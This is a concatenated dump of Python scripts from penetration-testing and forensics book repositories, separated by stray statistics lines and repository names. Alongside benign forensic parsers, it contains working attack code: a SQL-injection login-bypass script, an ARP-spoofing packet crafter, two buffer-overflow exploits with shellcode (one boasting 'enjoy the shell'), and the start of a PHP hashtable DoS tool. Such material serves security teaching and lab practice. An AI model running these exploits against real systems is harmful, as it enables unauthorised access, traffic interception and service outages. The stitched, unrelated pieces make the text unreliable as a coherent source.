limit, then? if min_length == limit: limit = min_length + 1 if min_length > limit: limit, min_length = min_length, limit while True: gen = exrex.getone(regex) if len(gen) in range(min_length, limit): return gen def get_new_attacks(self): pass if __name__ == "__main__": a = StringGenerator() print a.get_alpha_only_string() print a.get_alpha_numeric_string() print a.get_strong_password() print a.get_email_address() print a.get_tautology_string() print a.get_tautology_string(QUOTE = '"') print a.get_xml_meta_character_string()
27.353535
126
0.502495
cybersecurity-penetration-testing
import argparse import os import sys import logging import plugins import writers __author__ = 'Preston Miller & Chapin Bryce' __date__ = '20160401' __version__ = 0.01 __description__ = 'This scripts handles processing and output of various embedded metadata files' def main(input_dir, output_dir): """ The main function generates a file listing, sends files to be processed, and output written. :param input_dir: The input directory to scan for suported embedded metadata containing files :param output_dir: The output directory to write metadata reports to :return: Nothing. """ # Create lists to store each supported embedded metadata before writing to output exif_metadata = [] office_metadata = [] id3_metadata = [] # Walk through list of files msg = 'Generating file listing and running plugins.' print '[+]', msg logging.info(msg) for root, subdir, files in os.walk(input_dir, topdown=True): for file_name in files: current_file = os.path.join(root, file_name) ext = os.path.splitext(current_file)[1].lower() # PLUGINS if ext == '.jpeg' or ext == '.jpg': try: ex_metadata, exif_headers = plugins.exif_parser.exifParser(current_file) exif_metadata.append(ex_metadata) except TypeError: print '[-] File signature mismatch. Continuing to next file.' logging.error(('JPG & TIFF File Signature check failed for ' + current_file)) continue elif ext == '.docx' or ext == '.pptx' or ext == '.xlsx': try: of_metadata, office_headers = plugins.office_parser.officeParser(current_file) office_metadata.append(of_metadata) except TypeError: print '[-] File signature mismatch. Continuing to next file.' logging.error(('DOCX, XLSX, & PPTX File Signature check failed for ' + current_file)) continue elif ext == '.mp3': try: id_metadata, id3_headers = plugins.id3_parser.id3Parser(current_file) id3_metadata.append(id_metadata) except TypeError: print '[-] File signature mismatch. Continuing to next file.' logging.error(('MP3 File Signature check failed for ' + current_file)) continue # WRITERS msg = 'Writing output to ' + output_dir print '[+]', msg logging.info(msg) if len(exif_metadata) > 0: writers.kml_writer.kmlWriter(exif_metadata, output_dir, 'exif_metadata.kml') writers.csv_writer.csvWriter(exif_metadata, exif_headers, output_dir, 'exif_metadata.csv') if len(office_metadata) > 0: writers.csv_writer.csvWriter(office_metadata, office_headers, output_dir, 'office_metadata.csv') if len(id3_metadata) > 0: writers.csv_writer.csvWriter(id3_metadata, id3_headers, output_dir, 'id3_metadata.csv') msg = 'Program completed successfully -- exiting..' print '[*]', msg logging.info(msg) if __name__ == '__main__': parser = argparse.ArgumentParser(version=str(__version__), description=__description__, epilog='Developed by ' + __author__ + ' on ' + __date__) parser.add_argument('INPUT_DIR', help='Input Directory') parser.add_argument('OUTPUT_DIR', help='Output Directory') parser.add_argument('-l', help='File path of log file.') args = parser.parse_args() if args.l: if not os.path.exists(args.l): os.makedirs(args.l) log_path = os.path.join(args.l, 'metadata_parser.log') else: log_path = 'metadata_parser.log' logging.basicConfig(filename=log_path, level=logging.DEBUG, format='%(asctime)s | %(levelname)s | %(message)s', filemode='a') logging.info('Starting Metadata_Parser v.' + str(__version__)) logging.debug('System ' + sys.platform) logging.debug('Version ' + sys.version) if not os.path.exists(args.OUTPUT_DIR): os.makedirs(args.OUTPUT_DIR) if os.path.exists(args.INPUT_DIR) and os.path.isdir(args.INPUT_DIR): main(args.INPUT_DIR, args.OUTPUT_DIR) else: msg = 'Supplied input directory does not exist or is not a directory' print '[-]', msg logging.error(msg) sys.exit(1)
38.596491
105
0.600931
cybersecurity-penetration-testing
from bs4 import BeautifulSoup import re parse = BeautifulSoup('<html><head><title>Title of the page</title></head><body><p id="para1" align="center">This is a paragraph<b>one</b><a href="http://example1.com">Example Link 1</a> </p><p id="para2">This is a paragraph<b>two</b><a href="http://example.2com">Example Link 2</a></p></body></html>') print parse.prettify() <html> <head> <title> Title of the page </title> </head> <body> <p align="center" id="para1"> This is a paragraph <b> one </b> <a href="http://example1.com"> Example Link 1 </a> </p> <p id="para2"> This is a paragraph <b> two </b> <a href="http://example.2com"> Example Link 2 </a> </p> </body> </html>
19.527778
302
0.596206
Python-Penetration-Testing-Cookbook
# -*- coding: utf-8 -*- # Define here the models for your spider middleware # # See documentation in: # http://doc.scrapy.org/en/latest/topics/spider-middleware.html from scrapy import signals class BooksSpiderMiddleware(object): # Not all methods need to be defined. If a method is not defined, # scrapy acts as if the spider middleware does not modify the # passed objects. @classmethod def from_crawler(cls, crawler): # This method is used by Scrapy to create your spiders. s = cls() crawler.signals.connect(s.spider_opened, signal=signals.spider_opened) return s def process_spider_input(self, response, spider): # Called for each response that goes through the spider # middleware and into the spider. # Should return None or raise an exception. return None def process_spider_output(self, response, result, spider): # Called with the results returned from the Spider, after # it has processed the response. # Must return an iterable of Request, dict or Item objects. for i in result: yield i def process_spider_exception(self, response, exception, spider): # Called when a spider or process_spider_input() method # (from other spider middleware) raises an exception. # Should return either None or an iterable of Response, dict # or Item objects. pass def process_start_requests(self, start_requests, spider): # Called with the start requests of the spider, and works # similarly to the process_spider_output() method, except # that it doesn’t have a response associated. # Must return only requests (not items). for r in start_requests: yield r def spider_opened(self, spider): spider.logger.info('Spider opened: %s' % spider.name)
32.368421
78
0.663335
cybersecurity-penetration-testing
import urllib url = urllib.urlopen("http://packtpub.com/") data = url.read() print data
17.6
45
0.684783
Python-Penetration-Testing-for-Developers
import mechanize import re br = mechanize.Browser() br.set_handle_robots( False ) url = raw_input("Enter URL ") br.set_handle_equiv(True) br.set_handle_gzip(True) br.set_handle_redirect(True) br.set_handle_referer(True) br.set_handle_robots(False) br.open(url) for form in br.forms(): print form form = raw_input("Enter the form name " ) br.select_form(name =form) user_exp = ['admin" --', "admin' --", 'admin" #', "admin' #" ] user1 = raw_input("Enter the Username ") pass1 = raw_input("Enter the Password ") flag =0 p =0 while flag ==0: br.select_form(name =form) br.form[user1] = user_exp[p] br.form[pass1] = "aaaaaaaa" br.submit() data = "" for link in br.links(): data=data+str(link) list = ['logout','logoff', 'signout','signoff'] data1 = data.lower() for l in list: for match in re.findall(l,data1): flag = 1 if flag ==1: print "\t Success in ",p+1," attempts" print "Successfull hit --> ",user_exp[p] elif(p+1 == len(user_exp)): print "All exploits over " flag =1 else : p = p+1
18.923077
64
0.641546
cybersecurity-penetration-testing
import os import sys import csv import logging import argparse import progressbar import rabinkarp as rk __author__ = 'Preston Miller & Chapin Bryce' __date__ = 20160401 __version__ = 0.01 __description__ = 'Compare known file to another file or files in a directory using a rolling hash. Results will output as CSV' def main(known, comparison, chunk_size, output_path): """ The main function handles the main operations of the script :param known: open known file for comparison :param comparison: path to file or directory of files to compare :param chunk_size: integer size of bytes to read per chunk :param output_path: open file for output :return: None """ if os.path.isdir(comparison): fuzzy_hashes = dict() fuzzy_hashes['results'] = directoryController(known, comparison, chunk_size) elif os.path.isfile(comparison): fuzzy_hashes = fileController(known, comparison, chunk_size) else: logging.error("Error - comparison location not found") sys.exit(1) fuzzy_hashes['output_path'] = output_path writer(fuzzy_hashes) def fileController(known_file, comparison, chunk_size): """ The fileController function fuzzy hashes and compares a file :param known_file: open known file for comparison :param comparison: path to file or directory of files to compare :param chunk_size: integer size of bytes to read per chunk :return: dictionary containing information about the comparison """ logging.info('Processing File') known_hashes = fuzzFile(known_file, chunk_size) comparison_file = open(comparison, 'rb') comparison_hashes = fuzzFile(comparison_file, chunk_size) fuzzy_dict = compareFuzzies(known_hashes, comparison_hashes) fuzzy_dict['file_path'] = os.path.abspath(comparison) fuzzy_dict['comparison_total_segments'] = len(comparison_hashes) return fuzzy_dict def directoryController(known_file, comparison, chunk_size): """ The directoryController function processes a directory and hands each file to the fileController :param known_file: path to known file for comparison :param comparison: path to file or directory of files to compare :param chunk_size: integer size of bytes to read per chunk :return: list of dictionaries containing information about each comparison """ logging.info('Processing Directory') # Calculate the hashes of the known file before iteration known_hashes = fuzzFile(known_file, chunk_size) # Prepare progressbar files_to_process = list() for root, directories, files in os.walk(comparison): for file_entry in files: file_entry_path = os.path.abspath(os.path.join(root,file_entry)) files_to_process.append(file_entry_path) pb_widgets = [progressbar.Bar(), ' ', progressbar.SimpleProgress(), ' ', progressbar.ETA()] pbar = progressbar.ProgressBar(widgets=pb_widgets, maxval=len(files_to_process)) # Begin recurring through the discovered files fuzzy_list = [] pbar.start() for count, file_path in enumerate(files_to_process): try: file_obj = open(file_path, 'rb') except IOError, e: logging.error('Could not open ' + file_path + ' | ' + str(e)) pbar.update(count) continue comparison_hashes = fuzzFile(file_obj, chunk_size) fuzzy_dict = compareFuzzies(known_hashes, comparison_hashes) fuzzy_dict['file_path'] = file_path fuzzy_dict['comparison_total_segments'] = len(comparison_hashes) fuzzy_list.append(fuzzy_dict) pbar.update(count) pbar.finish() return fuzzy_list def fuzzFile(file_obj, chunk_size): """ The fuzzFile function creates a fuzzy hash of a file :param file_obj: open file object to read. must be able to call `.read()` :param chunk_size: integer size of bytes to read per chunk :return: set of hashes for comparison """ hash_set = set() const_num = 7 complete_file = bytearray(file_obj.read()) chunk = complete_file[0:chunk_size] ha = rk.hash(chunk, const_num) hash_set.add(ha) try: old_byte = chunk[0] except IndexError, e: logging.warning("File is 0-bytes. Skipping...") return set() for new_byte in complete_file[chunk_size:]: ha = rk.update(ha, const_num, chunk_size, old_byte, new_byte) hash_set.add(ha) chunk = chunk[1:] chunk.append(new_byte) old_byte = chunk[0] return hash_set def compareFuzzies(known_fuzz, comparison_fuzz): """ The compareFuzzies function compares Fuzzy Hashes :param known_fuzz: list of hashes from the known file :param comparison_fuzz: list of hashes from the comparison file :return: dictionary of formatted results for output """ matches = known_fuzz.intersection(comparison_fuzz) if len(comparison_fuzz): similarity = (float(len(matches))/len(known_fuzz))*100 else: logging.error('Comparison file not fuzzed. Please check file size and permissions') similarity = 0 return {'similarity': similarity, 'matching_segments': len(matches), 'known_file_total_segments': len(known_fuzz)} def writer(results): """ The writer function writes the raw hash information to a CSV file :param results: dictionary of keyword arguments :return: None """ logging.info('Writing Output') is_list = isinstance(results.get('results', ''), list) headers = ['file_path', 'similarity', 'matching_segments', 'known_file_total_segments', 'comparison_total_segments'] dict_writer = csv.DictWriter(results['output_path'], headers, extrasaction="ignore") dict_writer.writeheader() if is_list: dict_writer.writerows(results['results']) else: dict_writer.writerow(results) results['output_path'].close() logging.info('Writing Completed') if __name__ == '__main__': parser = argparse.ArgumentParser( description=__description__, version=str(__version__), epilog='Developed by ' + __author__ + ' on ' + str(__date__)) parser.add_argument('KNOWN', help='Path to known file to use to compare for similarity', type=argparse.FileType('rb')) parser.add_argument('COMPARISON', help='Path to file or directory to look for similarities. ' 'Will recurse through all sub directories') parser.add_argument('OUTPUT', help='Path to output CSV file. Existing files will be overwritten', type=argparse.FileType('wb')) parser.add_argument('--chunk-size', help='Chunk Size (in bytes) to hash at a time. Modifies granularity of' ' matches. Default 8 Bytes', type=int, default=8) parser.add_argument('-l', help='specify logging file') args = parser.parse_args() if args.l: if not os.path.exists(args.l): os.makedirs(args.l) log_path = os.path.join(args.l, 'fuzzy_hasher.log') else: log_path = 'fuzzy_hasher.log' logging.basicConfig(filename=log_path, level=logging.DEBUG, format='%(asctime)s | %(levelname)s | %(message)s', filemode='a') logging.info('Starting Fuzzy Hasher v.' + str(__version__)) logging.debug('System ' + sys.platform) logging.debug('Version ' + sys.version) logging.info('Script Starting') main(args.KNOWN, args.COMPARISON, args.chunk_size, args.OUTPUT) logging.info('Script Completed')
33.21267
127
0.663492
cybersecurity-penetration-testing
# Volatility # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or (at # your option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA """ @author: Holger Macht @license: GNU General Public License 2.0 or later @contact: [email protected] """ import volatility.obj as obj import volatility.plugins.linux.common as linux_common import volatility.plugins.linux.flags as linux_flags import volatility.plugins.linux.proc_maps as linux_proc_maps # returns the task and the address space for the mapping of the data # section within a specific process. what specifies which data section # should be considered def get_data_section(config, what): proc_maps = linux_proc_maps.linux_proc_maps(config).calculate() for task, vma in proc_maps: if not vma.vm_file: continue if not linux_common.get_path(task, vma.vm_file) == what: continue if not (vma.vm_flags & linux_flags.VM_READ and vma.vm_flags & linux_flags.VM_WRITE and not vma.vm_flags & linux_flags.VM_EXEC): continue yield task, vma def get_data_section_libdvm(config): return get_data_section(config, "/system/lib/libdvm.so") def get_data_section_dalvik_heap(config): for task, vma in get_data_section(config, "/dev/ashmem/dalvik-heap"): if vma.vm_pgoff == 0: yield task, vma def get_data_section_stack(config): proc_maps = linux_proc_maps.linux_proc_maps(config).calculate() for task, vma in proc_maps: if not vma.vm_file: if vma.vm_start <= task.mm.start_stack and vma.vm_end >= task.mm.start_stack: yield task, vma # registers a Volatiliy command line argument. Used by the dalvik_* plugins def register_option_GDVM_OFFSET(config): linux_common.AbstractLinuxCommand.register_options(config) config.add_option('GDVM_OFFSET', short_option = 'o', default = None, help = 'This is the offset (in hex) where the global struct gDvm can be found based on where libdvm is mapped in the process', action = 'store', type = 'str') def register_option_PID(config): config.add_option('PID', short_option = 'p', default = None, help = 'Operate on these Process IDs (possibly comma-separated)', action = 'store', type = 'str') #parses an ArrayObject and returns the contained ClassObjects def parseArrayObject(arrayObject): proc_as = arrayObject.obj_vm count = 0 while count < arrayObject.length: off = obj.Object('int', offset = arrayObject.contents0.obj_offset+count*0x4, vm = proc_as) if off != 0: field = obj.Object('Object', offset = off, vm = proc_as) yield field count += 1 # parses a Ljava/Util/ArrayList; and generates the list classes def parseJavaUtilArrayList(arrayObjectAddr): proc_as = arrayObjectAddr.obj_vm # ref to Ljava/util/ArrayList; arrayObject = obj.Object('ArrayObject', offset = arrayObjectAddr, vm = proc_as) count = 0 while count < arrayObject.length: # again getting a ArrayObject of type [Ljava/lang/Object arrayObject2 = obj.Object('ArrayObject', offset = arrayObject.contents0+count*0x4, vm = proc_as) # contents+4 bytes padding has a reference to the array on the heap # +0x8 would be the second element # we get a 'ref' here # and need to make an object out of it clazz = obj.Object('Object', offset = arrayObject2.contents1, vm = proc_as) # this is just the instance object, need the real Article object yield clazz.clazz count += 1 # parses a Ljava/Util/List; and generates the list classes def parseJavaUtilList(objAddr): # given is a reference to a DataObject # e.g.ref to Ljava/util/Collections$SynchronizedRandomAccessList; dataObject = obj.Object('DataObject', offset = objAddr, vm = objAddr.obj_vm) return parseJavaUtilArrayList(dataObject.instanceData) # just returns the dereferenced string def getString(obj): return obj.dereference_as('String', length = linux_common.MAX_STRING_LENGTH) # we get a 'StringObject' here def parseJavaLangString(stringObj): if getString(stringObj.clazz.descriptor)+"" != "Ljava/lang/String;": return "This is not a StringObject" ###### Parsing StringObject ###### count = obj.Object('int', offset = stringObj.obj_offset + stringObj.clazz.getIFieldbyName('count').byteOffset, vm = stringObj.obj_vm) offset = obj.Object('int', offset = stringObj.obj_offset + stringObj.clazz.getIFieldbyName('offset').byteOffset, vm = stringObj.obj_vm) value = obj.Object('address', offset = stringObj.obj_offset + stringObj.clazz.getIFieldbyName('value').byteOffset, vm = stringObj.obj_vm) ###### Parsing ArrayObject ###### arr = value.dereference_as('ArrayObject') # the string has count*2 (2 bytes for each character in unicode) characters ch = obj.Object('String', offset = arr.contents0.obj_offset+0x4*offset, vm = stringObj.obj_vm, length = count*2, encoding = "utf16") return ch # test if a given DvmGlobals object is the real deal def isDvmGlobals(gDvm): # TODO: Do we need better heuristics here? At least for the # stackSize it might be unsafe to always assume 16K. But does the # trick for now. if gDvm.stackSize != 16384: return False if not "/system/framework/core.jar" in getString(gDvm.bootClassPathStr)+"": return False if gDvm.heapMaximumSize == 0: return False # TODO: Some more, or even better checks return True
39.707792
148
0.67709
Hands-On-Penetration-Testing-with-Python
from libnessus.parser import NessusParser import sys class Nessus_Parser: def __init__(self,file_name): self.n_file=file_name def demo_print(self,nessus_obj_list): docu = {} OKGREEN = '\033[92m' OKBLUE = '\033[94m' OKRED = '\033[93m' for i in nessus_obj_list.hosts: print(OKRED +"Host : "+i.ip+" Host Name : "+i.name +" OS : "+i.get_host_property('operating-system')) for v in i.get_report_items: print("\t"+OKGREEN+str("Plugin id :"+OKBLUE+str(v.plugin_id))) print("\t"+OKGREEN+str("Plugin name : "+OKBLUE+str(v.plugin_name))) print("\t"+OKGREEN+"Sevirity : "+OKBLUE+str(v.severity)) print("\t"+OKGREEN+str("Service name :"+OKBLUE+str(v.service))) print("\t"+OKGREEN+str("Protocol :"+OKBLUE+str(v.protocol))) print("\t"+OKGREEN+str("Port : "+OKBLUE+str(v.port))) print("\t"+OKGREEN+"Synopsis :"+OKBLUE+str(v.synopsis)) print("\t"+OKGREEN+"Description : \n\t"+OKBLUE+str(v.description)) print("\t"+OKGREEN+"Risk vectors :"+OKBLUE+str(v.get_vuln_risk)) print("\t"+OKGREEN+"External references :"+OKBLUE+str(v.get_vuln_xref)) print("\t"+OKGREEN+"Solution :"+OKBLUE+str(v.solution)) print("\n") def parse(self): file_=self.n_file try: nessus_obj_list = NessusParser.parse_fromfile(file_) except Exception as eee: print("file cannot be imported : %s" % file_) print("Exception 1 :"+str(eee)) return self.demo_print(nessus_obj_list) obj=Nessus_Parser(sys.argv[1]) obj.parse()
37.25641
106
0.64051
owtf
""" PASSIVE Plugin for Testing_for_SSI_Injection@OWASP-DV-009 """ from owtf.managers.resource import get_resources from owtf.plugin.helper import plugin_helper DESCRIPTION = "Searching for pages that are susceptible to SSI-Injection" def run(PluginInfo): resource = get_resources("PassiveSSIDiscoveryLnk") Content = plugin_helper.resource_linklist("Online Resources", resource) return Content
28.214286
75
0.776961
Hands-On-Penetration-Testing-with-Python
import socket # nasm > add eax,12 # 00000000 83C00C add eax,byte +0xc # nasm > jmp eax # 00000000 FFE0 jmp eax shellcode = ( "\xdd\xc3\xba\x88\xba\x1e\x34\xd9\x74\x24\xf4\x5f\x31\xc9" + "\xb1\x14\x31\x57\x19\x03\x57\x19\x83\xc7\x04\x6a\x4f\x2f" + "\xef\x9d\x53\x03\x4c\x32\xfe\xa6\xdb\x55\x4e\xc0\x16\x15" + "\xf4\x53\xfb\x7d\x09\x6c\xea\x21\x67\x7c\x5d\x89\xfe\x9d" + "\x37\x4f\x59\x93\x48\x06\x18\x2f\xfa\x1c\x2b\x49\x31\x9c" + "\x08\x26\xaf\x51\x0e\xd5\x69\x03\x30\x82\x44\x53\x07\x4b" + "\xaf\x3b\xb7\x84\x3c\xd3\xaf\xf5\xa0\x4a\x5e\x83\xc6\xdc" + "\xcd\x1a\xe9\x6c\xfa\xd1\x6a" ) host="127.0.0.1" ret="\x97\x45\x13\x08" #crash="\x41" * 4368 + "\x42" * 4 + "\x83\xC0\x0C\xFF\xE0" + "\x90\x90" crash= shellcode + "\x41" * (4368-105) + ret + "\x83\xC0\x0C\xFF\xE0" + "\x90\x90" buffer = "\x11(setup sound " + crash + "\x90\x00#" # buffer = "\x11(setup sound " + uniquestring + "\x90\x00#" s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "[*]Sending evil buffer..." s.connect((host, 13327)) data=s.recv(1024) print data s.send(buffer) s.close() print "[*]Payload Sent!"
31.833333
83
0.605419
cybersecurity-penetration-testing
import socket import binascii s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800)) s.bind(("eth0",socket.htons(0x0800))) def mach(mac): a = '\\x' mac1= mac.replace(':',a) mac2= a+mac1 return mac2 sor = '\x48\x41\x43\x4b\x45\x52' vic1 = raw_input("Enter the Victim MAC ") victmac = mach(vic1) print victmac gate1 = raw_input("Enter the gateway MAC ") gatemac = mach(gate1) print gatemac code ='\x08\x06' eth1 = victmac+sor+code #for victim eth2 = gatemac+sor+code # for gateway htype = '\x00\x01' protype = '\x08\x00' hsize = '\x06' psize = '\x04' opcode = '\x00\x02' gate_ip = '192.168.0.1' victim_ip = '192.168.0.11' gip = socket.inet_aton ( gate_ip ) vip = socket.inet_aton ( victim_ip ) arp_victim = eth1+htype+protype+hsize+psize+opcode+sor+gip+victmac+vip arp_gateway= eth2+htype+protype+hsize+psize+opcode+sor+vip+gatemac+gip while 1: s.send(arp_victim) s.send(arp_gateway)
17.897959
74
0.688649
cybersecurity-penetration-testing
import requests url = "http://127.0.0.1/SQL/sqli-labs-master/Less-1/index.php?id=" initial = "'" print "Testing "+ url first = requests.post(url+initial) if "mysql" in first.text.lower(): print "Injectable MySQL detected" elif "native client" in first.text.lower(): print "Injectable MSSQL detected" elif "syntax error" in first.text.lower(): print "Injectable PostGRES detected" elif "ORA" in first.text.lower(): print "Injectable Oracle detected" else: print "Not Injectable :( "
27.823529
66
0.725971
diff-droid
import banner import logger_modules import attack_modules import updater def menu(): print "(1) View Logging Modules" print "(2) View Attack Modules" print "(3) Update " def show_banner(): banner.horizontal("DIFF-DROID") def read_user_input(): option = raw_input("Please enter your choice :") if (int(option) == 1): logger_modules.print_list() elif (int(option) == 2): attack_modules.print_list() elif (int(option) == 3): updater.update() show_banner() menu() read_user_input()
17.2
52
0.627523
Hands-On-Penetration-Testing-with-Python
""" WSGI config for XtremeWebAPP project. This module contains the WSGI application used by Django's development server and any production WSGI deployments. It should expose a module-level variable named ``application``. Django's ``runserver`` and ``runfcgi`` commands discover this application via the ``WSGI_APPLICATION`` setting. Usually you will have the standard Django WSGI application here, but it also might make sense to replace the whole Django WSGI application with a custom one that later delegates to the Django one. For example, you could introduce WSGI middleware here, or combine a Django application with an application of another framework. """ import os # We defer to a DJANGO_SETTINGS_MODULE already in the environment. This breaks # if running multiple sites in the same mod_wsgi process. To fix this, use # mod_wsgi daemon mode with each site in its own daemon process, or use # os.environ["DJANGO_SETTINGS_MODULE"] = "XtremeWebAPP.settings" os.environ.setdefault("DJANGO_SETTINGS_MODULE", "XtremeWebAPP.settings") # This application object is used by any WSGI server configured to use this # file. This includes Django's development server, if the WSGI_APPLICATION # setting points here. from django.core.wsgi import get_wsgi_application application = get_wsgi_application() # Apply WSGI middleware here. # from helloworld.wsgi import HelloWorldApplication # application = HelloWorldApplication(application)
42.575758
79
0.795407
cybersecurity-penetration-testing
__author__ = 'Preston Miller & Chapin Bryce' import utility import usb_lookup
18.75
44
0.74359
cybersecurity-penetration-testing
#!/usr/bin/python # -*- coding: utf-8 -*- import re import optparse import os import sqlite3 def printDownloads(downloadDB): conn = sqlite3.connect(downloadDB) c = conn.cursor() c.execute('SELECT name, source, datetime(endTime/1000000,\ \'unixepoch\') FROM moz_downloads;' ) print '\n[*] --- Files Downloaded --- ' for row in c: print '[+] File: ' + str(row[0]) + ' from source: ' \ + str(row[1]) + ' at: ' + str(row[2]) def printCookies(cookiesDB): try: conn = sqlite3.connect(cookiesDB) c = conn.cursor() c.execute('SELECT host, name, value FROM moz_cookies') print '\n[*] -- Found Cookies --' for row in c: host = str(row[0]) name = str(row[1]) value = str(row[2]) print '[+] Host: ' + host + ', Cookie: ' + name \ + ', Value: ' + value except Exception, e: if 'encrypted' in str(e): print '\n[*] Error reading your cookies database.' print '[*] Upgrade your Python-Sqlite3 Library' def printHistory(placesDB): try: conn = sqlite3.connect(placesDB) c = conn.cursor() c.execute("select url, datetime(visit_date/1000000, \ 'unixepoch') from moz_places, moz_historyvisits \ where visit_count > 0 and moz_places.id==\ moz_historyvisits.place_id;") print '\n[*] -- Found History --' for row in c: url = str(row[0]) date = str(row[1]) print '[+] ' + date + ' - Visited: ' + url except Exception, e: if 'encrypted' in str(e): print '\n[*] Error reading your places database.' print '[*] Upgrade your Python-Sqlite3 Library' exit(0) def printGoogle(placesDB): conn = sqlite3.connect(placesDB) c = conn.cursor() c.execute("select url, datetime(visit_date/1000000, \ 'unixepoch') from moz_places, moz_historyvisits \ where visit_count > 0 and moz_places.id==\ moz_historyvisits.place_id;") print '\n[*] -- Found Google --' for row in c: url = str(row[0]) date = str(row[1]) if 'google' in url.lower(): r = re.findall(r'q=.*\&', url) if r: search=r[0].split('&')[0] search=search.replace('q=', '').replace('+', ' ') print '[+] '+date+' - Searched For: ' + search def main(): parser = optparse.OptionParser("usage %prog "+\ "-p <firefox profile path> " ) parser.add_option('-p', dest='pathName', type='string',\ help='specify skype profile path') (options, args) = parser.parse_args() pathName = options.pathName if pathName == None: print parser.usage exit(0) elif os.path.isdir(pathName) == False: print '[!] Path Does Not Exist: ' + pathName exit(0) else: downloadDB = os.path.join(pathName, 'downloads.sqlite') if os.path.isfile(downloadDB): printDownloads(downloadDB) else: print '[!] Downloads Db does not exist: '+downloadDB cookiesDB = os.path.join(pathName, 'cookies.sqlite') if os.path.isfile(cookiesDB): pass printCookies(cookiesDB) else: print '[!] Cookies Db does not exist:' + cookiesDB placesDB = os.path.join(pathName, 'places.sqlite') if os.path.isfile(placesDB): printHistory(placesDB) printGoogle(placesDB) else: print '[!] PlacesDb does not exist: ' + placesDB if __name__ == '__main__': main()
29.04878
65
0.535589
Mastering-Kali-Linux-for-Advanced-Penetration-Testing-Second-Edition
import socket IP = raw_input("enter the IP to hack") PORT = 9999 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((IP,PORT)) banner = s.recv(1024) print(banner) command = "TRUN " header = "|/.:/" buffer = "Z" * 2002 #625011AF FFE4 JMP ESP eip = "\xAF\x11\x50\x62" nops = "\x90" * 50 buf = "" buf += "\xd9\xc0\xd9\x74\x24\xf4\x5d\xb8\x8b\x16\x93\x5e\x2b" buf += "\xc9\xb1\x61\x83\xed\xfc\x31\x45\x16\x03\x45\x16\xe2" buf += "\x7e\xcf\x53\x87\xf4\xd4\xa7\x62\x4b\xfe\x93\x1a\xda" buf += "\xd4\xea\xac\x47\x1a\x97\xd9\xf4\xb6\x9b\xe5\x6a\x8e" buf += "\x0f\x76\x34\x24\x05\x1c\xb1\x08\xbe\xdd\x30\x77\x68" buf += "\xbe\xf8\x2e\x89\xc9\x61\x6c\x50\xf8\xa9\xef\x7d\xbd" buf += "\xd2\x51\x11\x59\x4e\x47\x07\xf9\x83\x38\x22\x94\xe6" buf += "\x4d\xb5\x87\xc7\x54\xb6\x85\xa6\x5d\x3c\x0e\xe0\x1d" buf += "\x28\xbb\xac\x65\x5b\xd5\x83\xab\x6b\xf3\xe7\x4a\xc4" buf += "\x65\xdf\x76\x52\xf2\x18\xe7\xf1\xf3\xb5\x6b\x02\xfe" buf += "\x43\xff\xc7\x4b\x76\x68\x3e\x5d\xc4\x17\x91\x66\x08" buf += "\x21\xd8\x52\x77\x99\x59\xa9\x74\xba\xea\xfd\x0f\xfb" buf += "\x11\xf3\x29\x70\x2d\x3f\x0d\xbb\x5c\xe9\x13\x5f\x64" buf += "\x35\x20\xd1\x6b\xc4\x41\xde\x53\xeb\x34\xec\xf8\x07" buf += "\xac\xe1\x43\xbc\x47\x1f\x6a\x46\x57\x33\x04\xb0\xda" buf += "\xe3\x5d\xf0\x67\x90\x40\x14\x9b\x73\x98\x50\xa4\x19" buf += "\x80\xe0\x4b\xb4\xbc\xdd\xac\xaa\x92\x2b\x07\xa6\x3d" buf += "\xd2\x0c\xdd\xf9\x99\xb9\xdb\x93\x93\x1e\x20\x89\x57" buf += "\x7c\x1e\xfe\x45\x50\x2a\x1a\x79\x8c\xbf\xdb\x76\xb5" buf += "\xf5\x98\x6c\x06\xed\xa8\xdb\x9f\x67\x67\x56\x25\xe7" buf += "\xcd\xa2\xa1\x0f\xb6\xc9\x3f\x4b\x67\x98\x1f\xe3\xdc" buf += "\x6f\xc5\xe2\x21\x3d\xcd\x23\xcb\x5f\xe9\x30\xf7\xf1" buf += "\x2d\x36\x0c\x19\x58\x6e\xa3\xff\x4e\x2b\x52\xea\xe7" buf += "\x42\xcb\x21\x3d\xe0\x78\x07\xca\x92\xe0\xbb\x84\xa1" buf += "\x61\xf4\xfb\xbc\xdc\xc8\x56\x63\x12\xf8\xb5\x1b\xdc" buf += "\x1e\xda\xfb\x12\xbe\xc1\x56\x5b\xf9\xfc\xfb\x1a\xc0" buf += "\x73\x65\x54\x6e\xd1\x13\x06\xd9\xcc\xfb\x53\x99\x79" buf += "\xda\x05\x34\xd2\x50\x5a\xd0\x78\x4a\x0d\x6e\x5b\x66" buf += "\xbb\x07\x95\x0b\x03\x32\x4c\x23\x57\xce\xb1\x1f\x2a" buf += "\xe1\xe3\xc7\x08\x0c\x5c\xfa\x02\x63\x37\xb9\x5a\xd1" buf += "\xfe\xa9\x05\xe3\xfe\x88\xcf\x3d\xda\xf6\xf0\x90\x6b" buf += "\x3c\x8b\x39\x3e\xb3\x66\x79\xb3\xd5\x8e\x71" s.send (command + header + buffer + eip + nops + buf) print ("server pawned - enjoy the shell")
47.66
62
0.658717
PenTesting
''' This script was written by Christian Mehlmauer <[email protected]> Original PHP Payloadgenerator taken from https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision CVE : CVE-2011-4885 requires Python 2.7 Examples: -) Make a single Request, wait for the response and save the response to output0.html python HashtablePOC.py -u https://host/index.php -v -c 1 -w -o output -) Take down a server(make 500 requests without waiting for a response): python HashtablePOC.py -u https://host/index.php -v -c 500 Changelog: v2.0: Added Support for https, switched to HTTP 1.1 v1.0: Initial Release ''' import socket import sys import math import urllib import string import time import urlparse import argparse import ssl def main(): parser = argparse.ArgumentParser(description="Take down a remote PHP Host", prog="PHP Hashtable Exploit") parser.add_argument("-u", "--url", dest="url", help="Url to attack", required=True) parser.add_argument("-w", "--wait", dest="wait", action="store_true", default=False, help="wait for Response") parser.add_argument("-c", "--count", dest="count", type=int, default=1, help="How many requests") parser.add_argument("-v", "--verbose", dest="verbose", 